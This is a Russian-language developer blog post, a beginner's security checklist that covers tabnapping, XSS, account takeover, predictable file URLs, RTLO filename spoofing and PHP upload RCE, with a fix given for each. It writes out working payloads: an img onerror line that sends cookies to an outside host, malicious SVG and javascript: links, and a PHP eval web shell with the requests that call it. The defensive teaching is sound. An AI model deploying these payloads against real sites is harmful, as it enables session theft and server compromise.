Particle1Particle2Particle3Particle4Particle5
HWdTech / Блог /

Чеклист о

кибербезопасности для

начинающих разработчиков

Частые и опасные уязвимости. Данная статья написана в ознакомительных целях, чтобы каждый мог реализовать защиту от простых, но опасных атак на сайты и приложения.

15 Апреля 2021
#cybersecurity #attacs #cyber attacks #security #безопасность

Reading time: 8 min

Целью данной статьи является практически реальные примеры векторов атак и их решения. Не используйте данные атаки и любые другие без согласия сайта, это наказуемо законом.

Tabnapping

  1. В ссылке

Злоумышленник размещает ссылку на свой сайт, где на странице злоумышленника будет код:

<script>

window.opener.location.replace('http://example.com'); // фишинговый сайт очень похожий на оригинальный

</script>

Жертва переходит по этой ссылке, в результате старая вкладка меняется на фишинговую страницу, например с логином. Жертва логинится и отдает свои данные для входа злоумышленнику.
Решением данной проблемы может являться: Добавление всем ссылкам, которые может написать на сайте пользователь атрибута rel = "nofollow noopener". Теперь у сайта злоумышленника не будет доступа к сайту, с которого на него перешли.
2. В файле Злоумышленник может указать ссылку на сайт с вредоносным кодом в файле PDF. Код вставляемый в PDF:

411 0 obj

<<

/Type /Action

/S/URI/URI(http://example.com)

>>

endobj

Жертва кликает на ссылку в файле и повторяет действия, описанные выше. Решением данной проблемы может являться:
Открывать файл в новой вкладке, без доступа к родительской. Хранить файлы на другом домене.

XSS

1. XSS в SVG Если на сайте разрешено загружать файлы изображений типа SVG, и сайт размещает их не в теге img. То он с очень большой вероятностью подвергается атаке XSS. А если в теге img, то XSS сработает, когда изображение откроют в новой вкладке. Пример изображения SVG с кодом JS:

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">

<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>

<script type="text/javascript">

alert(1);

</script>

</svg>

Решением данной проблемы может являться: Удаление всего из SVG, что не является изображением. В идеале запретить загружать файлы SVG. Проверять файл не по расширению, а по содержимому является ли он файлом изображения.
2. XSS в ссылке Принято считать, что <a href="javascript:alert(1)" target="_blank">CLICK ME</a> наличие атрибута target="_blank защитит от XSS в ссылке, из-за защиты браузера и мы получи about:blank#blocked. Но существуют браузеры которые <a href="javascript:alert(1)" target="_blank">CLICK ME</a> откроют так же как и <a href="javascript:alert(1)">CLICK ME</a> в результате сработает XSS. Решением данной проблемы может являться: Проверка ссылок на этапе ввода / отображения на валидность и отсутствие JS кода. В случае наличия JS кода или не валидности ссылки, необходимо запрещать ссылки. 3. XSS в чате/ поле ввода Злоумышленник пишет в чат пользователю / поддержке код вида: <img src=x onerror="javascript:document.location='https://site.com/d.php?cookie=' + escape(document.cookie)"> Так как изображения нет выполняется onerror и отправляются куки пользователя на сайт злоумышленника. Решением данной проблемы может являться: Не допускать выполнения текста как кода. Никогда не использовать eval('код'). Настроить CSP со списком сайтов на которые можно отправляться запросы и другие ресурсы.

Account takeover

1. Ранее созданный аккаунт злоумышленником Злоумышленник создает аккаунт на сайте по почте и паролю. Сайт не требует подтвердить почты пользователя. Теперь жертва входит на этот же сайт через любую соц сеть с той же почтой. Делает какие-либо операции на сайте, пишет сообщения и т.д. Злоумышленник входит по паролю и почте и видит все данные пользователя. Если на сайте есть транзакции / сообщения и другие личные данные, то они все попадают в руки злоумышленнику. Решением данной проблемы может являться:
Сообщение на почту с просьбой подтвердить аккаунт. Запретить входить через соц сеть, если был вход по паролю. А только дополнительно добавить вход через соц сеть в настройках аккаунта.
2. Сессия Если на сайте сессия пользователя имеет бесконечный срок жизни, или не обнуляется после логаута. Это является большой проблемой. Злоумышленник может украсть сессию (например, через XSS) и пользоваться ей сколько угодно времени. Решением данной проблемы может являться:
  • Давать жизнь сессии на не длительный период.

  • Обнулять сессию после выхода из аккаунта.

  • Иметь возможность в админке обнулять сессии.

Information Disclosure

Кража личных файлов Файлы из личных сообщений пользователя строятся по URL /files/user-id/file-id Где user-id юзер открытая информация, а file-id не уникальные UUID, а просто число 1000, 1001 и т.д. В результате злоумышленник может получить все приватные файлы пользователя, сбрутив за некоторое время все варианты URL. Решением данной проблемы может являться:
  • Генерировать UUID место обычного числа.

  • Генерировать дополнительный под путь на файлы по N штук.

  • Давать доступ к файлам только авторизованным пользователям, отправителю и получателю.

RTLO

Злоумышленник создает файл с исполняемым кодом exe например. Называет его с использованием символа RTLO RTLOgpj.exe и отправляет его как файл в чате с пользователем. Если чат не умеет обрабатывать RTLO символ, то жертва получит файл RTLOexe.jpg и откроет его, думая, что это файл изображения.
CyberSec
Так же что бы жертва не поняла, многие злоумышленники называют файл длинным именем, чтобы последние символы расширения "exe" не были видны RTLOabcde....jpg. В результате злоумышленник получает полноценный доступ к компьютеру пользователя. Решением данной проблемы может являться: Удалять RTLO символ на этапе загрузки файла.

RCE

Если сайт поддерживает PHP - это очень благоприятная обстановка для реализации RCE. Когда на сайте отсутствует проверка файлов по типу, или их сжатие, то можно загрузить вредоносный файл GIF с кодом PHP или сразу php файл. В файле GIF есть специальный байт, после которого можно добавить код PHP. Код PHP будет выглядеть так, чтобы мы могли сделать, что угодно: <?php eval($_GET["cmd"]);?> А запросы будут выглядеть так: /file.php?cmd=phpinfo(); /file.gif?cmd=phpinfo(); В результате выполниться код и мы получим:
CyberSecImg
file.php?cmd=echo%20readfile("filename.txt","r"); /file.gif?cmd=echo%20readfile("filename.txt","r"); В результате выполниться код и мы получим:
CyberSecurityImg
Решением данной проблемы может являться: Сжатие файлов, удаление exif информации. Все описанные выше проблемы были найденные в актуальных версиях сайтов, которые мы все знаем.
Читайте также

Наши статьи!

Спросите нас

Мы ответим в течение суток

* - обязательное поле

Нажимая на эту кнопку, вы соглашаетесь с обработкой ваших персональных данных и принимаете нашу политику обработки конфиденциальных данных